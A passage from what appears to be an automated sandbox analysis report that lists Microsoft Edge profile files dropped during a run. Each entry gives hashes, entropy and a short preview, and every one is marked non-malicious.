SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.2526495394087425
Encrypted:	false
SSDEEP:	6:yByq2P923oH+TcwtzjqEKj0QMxIFUt8hBTcZmw+hBWkwO923oH+TcwtzjqEKj0Qq:Rv4YebvqBZFUt8Y/+O5LYebvqBaJ
MD5:	FB34F48D21C99FE9C3E20FD6A0D1C686
SHA1:	258ED4593C2BE32D2C7BBD0B901F0150027172EA
SHA-256:	99EF1433692F16C56543BB3B759E5497993EA3ACD1B04F7B55A1126D1EB0CA02
SHA-512:	507856EE316C3608F694F083F0D4907DB72CB41A8FA5F8F8FA77F0B14E1D0F9E2AC90E161E414DB8AB5D234C2E563FEA95A0902DA1939B297054644F81BE5BA1
Malicious:	false
Preview:	2024/10/28-21:46:45.776 1e74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/28-21:46:45.777 1e74 Recovering log #3.2024/10/28-21:46:45.780 1e74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.2526495394087425
Encrypted:	false
SSDEEP:	6:yByq2P923oH+TcwtzjqEKj0QMxIFUt8hBTcZmw+hBWkwO923oH+TcwtzjqEKj0Qq:Rv4YebvqBZFUt8Y/+O5LYebvqBaJ
MD5:	FB34F48D21C99FE9C3E20FD6A0D1C686
SHA1:	258ED4593C2BE32D2C7BBD0B901F0150027172EA
SHA-256:	99EF1433692F16C56543BB3B759E5497993EA3ACD1B04F7B55A1126D1EB0CA02
SHA-512:	507856EE316C3608F694F083F0D4907DB72CB41A8FA5F8F8FA77F0B14E1D0F9E2AC90E161E414DB8AB5D234C2E563FEA95A0902DA1939B297054644F81BE5BA1
Malicious:	false
Preview:	2024/10/28-21:46:45.776 1e74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/28-21:46:45.777 1e74 Recovering log #3.2024/10/28-21:46:45.780 1e74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1503387181249
Encrypted:	false
SSDEEP:	6:yIq2P923oH+TcwtpIFUt8hZZmw+hzkwO923oH+Tcwta/WLJ:Zv4YebmFUt83/+l5LYebaUJ
MD5:	CEC723E6679B4F3930C019D0441BE13A
SHA1:	D9A8EFA5FDF728491C7D94CD70C3E1C5D2451835
SHA-256:	ADBC8BBBBBDEA789A73815E2BF587127B1CA218909BC1F0728FA536DE776482F
SHA-512:	A813802E5C61A57AF4DDBB05A69631985EC44D51445BDD0572A8ED7B03AFF76BBB019ABCB5C17D4770CF20B50F9857AB21499E024BEB44B18B6084674646D7C2
Malicious:	false
Preview:	2024/10/28-21:46:26.424 1cf4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/28-21:46:26.424 1cf4 Recovering log #3.2024/10/28-21:46:26.424 1cf4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1503387181249
Encrypted:	false
SSDEEP:	6:yIq2P923oH+TcwtpIFUt8hZZmw+hzkwO923oH+Tcwta/WLJ:Zv4YebmFUt83/+l5LYebaUJ
MD5:	CEC723E6679B4F3930C019D0441BE13A
SHA1:	D9A8EFA5FDF728491C7D94CD70C3E1C5D2451835
SHA-256:	ADBC8BBBBBDEA789A73815E2BF587127B1CA218909BC1F0728FA536DE776482F
SHA-512:	A813802E5C61A57AF4DDBB05A69631985EC44D51445BDD0572A8ED7B03AFF76BBB019ABCB5C17D4770CF20B50F9857AB21499E024BEB44B18B6084674646D7C2
Malicious:	false
Preview:	2024/10/28-21:46:26.424 1cf4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/28-21:46:26.424 1cf4 Recovering log #3.2024/10/28-21:46:26.424 1cf4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2649236355668696
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMySAELyKOMq+8yC8F/YfU5m+OlTLVumQ:Bq+n0Jy9ELyKOMq+8y9/Ow/
MD5:	479C400C89F1BFEAC3F8AFBA09F264F5
SHA1:	E33C4D6FDB35FA18B00C13BCD6B736D489BF0E28
SHA-256:	72A7619637C0362D9D548CDD0447828F0EDA9F82B00D00A7576945FD285A4ECE
SHA-512:	AF43559EBE9165D5C0C73F3AF6092229355F85B5EE05E78138F7821A269635386DD7AFE4D8B9F3A62BBF6460E9B2210D040BF9F0DBA285B8ABBECF9680E27CC0
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46652227979758615
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0gp:v7doKsKuKZKlZNmu46yjx0C
MD5:	F4505D6BD3A808D096368AA7BD1B686E
SHA1:	8AD42F254C2A1988523B9FFB8E80904B932EB991
SHA-256:	1A9C1AE87A366546079301669A62721D84284A92D25851095AAA37529BEDDEF2
SHA-512:	5178D8C1C50DDC0EF6BB9B1384F9FE0B790BF5E30C5779C2C06E824461E58DF5B5BB67590948DBE0958B52C9BD1E849405A24CCAD6E22C7DCA3204486394C1A5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cce7135c-d95a-479a-b34e-49eb8ba7d003.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cfdd672b-30f2-456f-803c-9223deb072e9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561727586308023
Encrypted:	false
SSDEEP:	768:c2IaXO7pLGLpaoWPYmfNz8F1+UoAYDCx9Tuqh0VfUC9xbog/OVtU7CRiourwUXNB:c2IaXOcpaoWPYmfNzu1jaIqCoorUXNsg
MD5:	6D0B88810002EB7648D8DD0C8EA3F471
SHA1:	CC2F1A4A6F85A534827FC62F42EE08A6AD5E5358
SHA-256:	51E193E48BB05E4CFC50965C85FAFB93B982CA9906C293941710747F4B89B5B2
SHA-512:	4B07FA93C19AA8733E683A485386FBD9F1A6409441A6F29989FB419B42F005EBBA04C054B6F8A51A14F7C79E45242D4564691F311F9C2808C06F50C941DDE27C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374639986230698","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374639986230698","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\db2f6c70-394c-4c8e-8baa-d0a99fbd0b28.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17480), with no line terminators
Category:	dropped
Size (bytes):	17484
Entropy (8bit):	5.47315493881569
Encrypted:	false
SSDEEP:	384:stQPGQSu4JsNZ1fhDGNiF2VmbGEQwJ6W1tlaTYp:sOOXujLfsWbGDup7aTYp
MD5:	DD72A8129C1B76CD2F7DE6958EC23934
SHA1:	F9F73228FB3CB2A8976F9FCE842A0BEF931272EC
SHA-256:	A493E0F6C363A2C9F72A9551390E110878C0931802585F922BCB702EBEFD6DAD
SHA-512:	1DC64D54B67E56AE8692574B8638E0A0735663DEF8B2C977BE2018123827559C1FB56B2E203EB8D27B25CCF33B84C11FD95FF525C201BDEF87341BDABB8E446B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374639987372230","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ecf1e399-2107-463d-8216-128c6c703a77.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fb57b4be-4469-4ba7-8c56-afbcbb94aad9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17315), with no line terminators
Category:	dropped
Size (bytes):	17319
Entropy (8bit):	5.476557082731158
Encrypted:	false
SSDEEP:	384:stQPGQSu4JsNZ1fhDGNiF2VmbGEQwJ6WTaTYp:sOOXujLfsWbGDu/aTYp
MD5:	3F928023E2810C5B7EA1191F53EB2DC8
SHA1:	9A8D6C026DAE006626A58382095F48E604042D68
SHA-256:	DC7B8720E409015A687E80FE712256CC2D81CE02C511C63C54D499CA252EFA76
SHA-512:	7475E14348FA596DE650D523463BDC89C6892B9D2A8EB8437320C65509312628B31885C727048DCA5C0E29AFD54228535B384DA9666DB799BC574D11E0456E8A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374639987372230","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fe1c6687-8417-46e3-bea5-88deb1dddab4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.56691621599091
Encrypted:	false
SSDEEP:	768:cfaaNO7pLGLpZoWPYmfsz8F1+UoAYDCx9Tuqh0VfUC9xbog/OVrU73RivurwXpJP:cfaaNOcpZoWPYmfszu1jaOq3ovrLtl
MD5:	E8EB505123D5180BC09DADF34395566B
SHA1:	E4DBD8DAF1AED947172FF256A82DEBB57301A5A5
SHA-256:	3042B95707B2DAD99F68DCA0FEBDB9BB7BCE7481373193B2351DE135731FF8FF
SHA-512:	C255D8B11A4E0FC6DB418E8CD0120CCE2D059F7656BF7D4CDC93FA6837CE7B90C1BE7C3731E14C28C7F06C61577D6C5EA3FB14F3AF23DBFB962F080B4C3FB0EF
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374639986230698","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374639986230698","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10866642944652108
Encrypted:	false
SSDEEP:	12:0WihWSLpEjVl/PnnnnnnnnnnnnnvoQrEo8VF4D:0WihWwoPnnnnnnnnnnnnnvBjpD
MD5:	3DBB566E7634754FBD8311C71379AD76
SHA1:	B6B69DCA1CCD9FC4E48F47096B70968C31BB5D18
SHA-256:	F34366E04A9F02653F5E13468EEF2D36FF4EF0465548A3046482593F85E411A6
SHA-512:	D11FACDECE0DE6ADAB169A5EEABCD96C9E895BA93C0CEE68ACBC232B810D76E83B00FA3F1AACDA2C812B86DA09D3B50C79075E7F553E74B887F89223636BFB0C
Malicious:	false
Preview:	..-.............U.......7.7y@..#.4..}........x?..-.............U.......7.7y@..#.4..}........x?........Q...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	350232
Entropy (8bit):	0.9776121403481314
Encrypted:	false
SSDEEP:	384:G2mUSmIhrgdcYVnqO5cBJT3mcycyk5yHy+EyNxyff:FYm76
MD5:	084CD082F1835024599345DBB4A6C663
SHA1:	4D554EB32DFFE9C0EA0F9F20788B780F6B6C8D03
SHA-256:	308E39BC938BDB5E058D9E78CA189B5402D79C6ADCCB913C58E2CDED62B58BBD
SHA-512:	F7EE40165DDA596EB6D4A9243AFD9D3DD167BF59E846A6821B5E92939B4CE979F30958D44FE3E94150BF08C2A8352C1797B4DF263F1679D154AA94FF139A0DD1
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	693
Entropy (8bit):	3.540580985050475
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuKZlldV3I18m:iD0blXs
MD5:	ED23C17B752DB13AA7624487421DE375
SHA1:	5798E9EA48FFCBB8AD3B4D036A88D4F9F4ECD0FC
SHA-256:	D6E5CCF5D2EBC4F55A37218CBADE1841E5CC89A482562E389AA5A40AB1201FE2
SHA-512:	7573659E656543AA2BBAA9C851EA2647677EFF51FB8B42174A1AA6DF8CD216FDEF7076609F95FFD8BB8F69977802F699526623A90DA4CC3FB5DA354D3C019167
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................V..:...............#38_h.......6.Z..W.F.....0.y.....0.y........1V.e................V.e................<.#.0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.225664853258969
Encrypted:	false
SSDEEP:	6:yeyYU+q2P923oH+TcwtfrK+IFUt8hexZmw+heFVkwO923oH+TcwtfrUeLJ:Hv4Yeb23FUt8y/++5LYeb3J
MD5:	A6136EE21B9C500FC2AA8CDC7C013415
SHA1:	C9AFBA344B80D14CF588B3FA16DDEF17B22444D8
SHA-256:	E25651F5D32E5951A7051FC9D183EE7E79AD579FE5CE7B48DBCDC70866E96AC0
SHA-512:	19534274F30FAB1F03DB97D7A4ED90DD9D81332FAB69D82840772610EB16B3AC8AC8C219C1796B4D0B1C03D76E2CAFD9649135027847F35756E0106B4E61FE76
Malicious:	false
Preview:	2024/10/28-21:46:27.436 1de8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/28-21:46:27.437 1de8 Recovering log #3.2024/10/28-21:46:27.437 1de8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.225664853258969
Encrypted:	false
SSDEEP:	6:yeyYU+q2P923oH+TcwtfrK+IFUt8hexZmw+heFVkwO923oH+TcwtfrUeLJ:Hv4Yeb23FUt8y/++5LYeb3J
MD5:	A6136EE21B9C500FC2AA8CDC7C013415
SHA1:	C9AFBA344B80D14CF588B3FA16DDEF17B22444D8
SHA-256:	E25651F5D32E5951A7051FC9D183EE7E79AD579FE5CE7B48DBCDC70866E96AC0
SHA-512:	19534274F30FAB1F03DB97D7A4ED90DD9D81332FAB69D82840772610EB16B3AC8AC8C219C1796B4D0B1C03D76E2CAFD9649135027847F35756E0106B4E61FE76
Malicious:	false
Preview:	2024/10/28-21:46:27.436 1de8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/28-21:46:27.437 1de8 Recovering log #3.2024/10/28-21:46:27.437 1de8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.176149823245598
Encrypted:	false
SSDEEP:	6:yel+q2P923oH+TcwtfrzAdIFUt8heRZmw+heQVkwO923oH+TcwtfrzILJ:wv4Yeb9FUt8e/+B5LYeb2J
MD5:	D234A6B404E57465B3580857172E8163
SHA1:	0181689073694D947E4F07250BDC0E009B10B7B2
SHA-256:	4BF04191AB8966C9659FC8D261DEF0142B2091D86DC213A7062427C2054982B9
SHA-512:	F6D8AD1C6CEA793CEEAD97663BF6544F0D9BB3786128952224B6068CE216EBC82F6F6D5874B52107956E06BD58180D6E9DCD122B2F008CCE0BF8A2219611EFD8
Malicious:	false
Preview:	2024/10/28-21:46:27.411 1de8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/28-21:46:27.411 1de8 Recovering log #3.2024/10/28-21:46:27.412 1de8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.176149823245598
Encrypted:	false
SSDEEP:	6:yel+q2P923oH+TcwtfrzAdIFUt8heRZmw+heQVkwO923oH+TcwtfrzILJ:wv4Yeb9FUt8e/+B5LYeb2J
MD5:	D234A6B404E57465B3580857172E8163
SHA1:	0181689073694D947E4F07250BDC0E009B10B7B2
